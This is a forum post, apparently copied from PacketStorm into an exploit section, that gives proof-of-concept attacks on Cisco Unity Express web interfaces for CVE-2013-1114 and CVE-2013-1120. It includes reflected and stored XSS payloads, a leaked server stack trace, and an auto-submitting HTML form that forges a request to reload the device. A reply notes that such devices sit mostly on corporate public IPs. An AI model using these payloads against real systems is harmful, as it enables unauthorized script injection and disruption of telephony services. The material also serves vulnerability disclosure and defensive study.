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Cisco Unity Express Cross Site Request Forgery / Cross Site Scripting

By Praetorian503, in Exploituri

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Praetorian503

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Cisco Unity suffers from cross site request forgery and cross site scripting vulnerabilities.

# Exploit Title: Cisco Unity Express Multiple Vulnerabilities
# Reported: December 2012
# Disclosed: February 2013
# Author: Jacob Holcomb of Independent Security Evaluators
# CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120
# http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html

Cisco Advisory
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120

Proof of Concept
XSS - CVE-2013-1114:
GET:
Reflective XSS & Info disclosure
http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script>

Information Disclosure
Location: /Web/WEB-INF/screens/main.jsp
Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp
Internal Servlet Error:

javax.servlet.ServletException: invalid character at position 1 in >
org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)

Root cause:
java.lang.NumberFormatException: invalid character at position 1 in >
java.lang.Throwable. (Throwable.java:166)
java.lang.Integer.parseInt (Integer.java:775)
java.lang.Integer.parseInt (Integer.java:262)
com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)



POST:
Persistent XSS
http://X.X.X.X/Web/SA3/AddHoliday.do
POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD


CSRF - CVE-2013-1120:

<html>
<!-- # Exploit Title: Cisco Unity Express CSRF
     # Date: Discovered and reported December 2012
     # Disclosed: February 2013
     # Author: Jacob Holcomb of Independent Security Evaluators
     # Software: Cisco Unity Express
     # CVE : CVE-2013-1120 for the CSRF
     # Note: All the HTML forms are susceptible to forgery -->

<head>
<title>Reload Cisco Unity Express CSRF</title>
</head>

<body>

<form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post">
<input type="hidden" name="submitType" value="RELOAD"/>
</form>

<script>
document.CUEreload.submit();
</script>

</body>
</html>

Source: PacketStorm

backdoor Newbie

backdoor

Posted
Posted

Salut,

Din pacate asemenea device o sa il gasesti doar in corporate si foarte probabil sa fie ip public. Mai mult de atat lumea se fereste de produce Cisco pe parte de VOIP pt ca merg doar cu telefoanele lor deoarece au un protocol de SIP proprietar.

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